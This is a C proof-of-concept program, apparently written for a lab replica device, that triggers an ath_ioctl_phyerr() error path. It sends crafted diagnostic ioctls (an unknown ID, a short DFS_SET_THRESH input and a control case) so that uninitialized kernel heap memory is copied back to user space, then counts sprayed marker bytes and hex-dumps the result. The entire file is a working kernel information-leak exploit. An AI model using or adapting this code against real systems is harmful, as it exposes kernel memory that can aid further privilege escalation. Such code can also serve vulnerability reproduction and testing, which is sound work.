/*
 * DF-5024 trigger — exercise the ath_ioctl_phyerr() error-path copyout leak
 * on the sink replica device /dev/df5024.
 *
 *  usage: df5024_trigger <device> [size]
 *
 *  1. memset a user buffer to 0x00 (so we cannot be fooled by stale user data)
 *  2. ioctl DF5024_IOCTL with ad_id = ATH_DIAG_DYN | 0x123 (unknown id)
 *     -> kernel returns EINVAL but copyout() already overwrote our buffer
 *        with sizeof bytes of UNINITIALIZED kernel M_TEMP heap
 *  3. report: return code, marker-byte count, first 64 bytes hex
 *  4. variant B: ad_id = ATH_DIAG_DYN|ATH_DIAG_IN|DFS_SET_THRESH with
 *     ad_in_size = 0  (short-input error path) — same leak
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

struct df5024_diag {
	char	ad_name[16];
	u_int16_t ad_id;
	u_int16_t ad_in_size;
	char	*ad_in_data;
	char	*ad_out_data;
	u_int	ad_out_size;
};
#define	DF5024_IOCTL	_IOWR('D', 24, struct df5024_diag)

#define	ATH_DIAG_DYN	0x8000
#define	ATH_DIAG_IN	0x4000
#define	DFS_SET_THRESH	2

static void
dump(const char *tag, const unsigned char *b, size_t n)
{
	size_t i;

	printf("%s: ", tag);
	for (i = 0; i < n; i++)
		printf("%02x", b[i]);
	printf("\n");
}

static int
do_ioctl(int fd, struct df5024_diag *ad, unsigned char *buf, size_t size,
    const char *tag)
{
	int rc, saved;

	memset(buf, 0x00, size);
	ad->ad_out_data = (char *)buf;
	ad->ad_out_size = size;
	rc = ioctl(fd, DF5024_IOCTL, ad);
	saved = errno;

	/* marker statistics: 8-byte pattern "DF5024!!" sprayed into M_TEMP */
	size_t i, hits = 0, runs = 0;
	for (i = 0; i + 8 <= size; i += 8)
		if (memcmp(buf + i, "DF5024!!", 8) == 0)
			hits++;
	for (i = 0; i < size; i++)
		if (buf[i] != 0x00) {
			runs++;
			break;
		}
	printf("%s: ioctl rc=%d errno=%d(%s) nonzero=%d marker8=%zu/%zu\n",
	    tag, rc, rc < 0 ? saved : 0, rc < 0 ? strerror(saved) : "ok",
	    (int)runs, hits, size / 8);
	dump("  first64", buf, 64);
	return (rc);
}

int
main(int argc, char **argv)
{
	unsigned char *buf;
	size_t size = 2048;
	int fd;
	struct df5024_diag ad;

	if (argc > 2)
		size = (size_t)strtoul(argv[2], NULL, 0);
	buf = malloc(size);
	if (buf == NULL) {
		perror("malloc");
		exit(1);
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0) {
		perror("open");
		exit(1);
	}

	memset(&ad, 0, sizeof(ad));
	strcpy(ad.ad_name, "ath0_sink");

	/* A: unknown ioctl id + DYN  -> default: EINVAL, copyout still runs */
	ad.ad_id = ATH_DIAG_DYN | 0x123;
	ad.ad_in_size = 0;
	ad.ad_in_data = NULL;
	do_ioctl(fd, &ad, buf, size, "A:unknown-id");

	/* B: DFS_SET_THRESH with short input + IN|DYN -> EINVAL, copyout runs */
	ad.ad_id = ATH_DIAG_DYN | ATH_DIAG_IN | DFS_SET_THRESH;
	ad.ad_in_size = 0;		/* < sizeof(HAL_PHYERR_PARAM) */
	{
		static char dummy;
		ad.ad_in_data = &dummy;
	}
	do_ioctl(fd, &ad, buf, size, "B:short-set");

	/* C: control — DYN without spray interference, leak still observable */
	ad.ad_id = ATH_DIAG_DYN | 0x456;
	do_ioctl(fd, &ad, buf, size, "C:unknown-id");

	close(fd);
	free(buf);
	return (0);
}
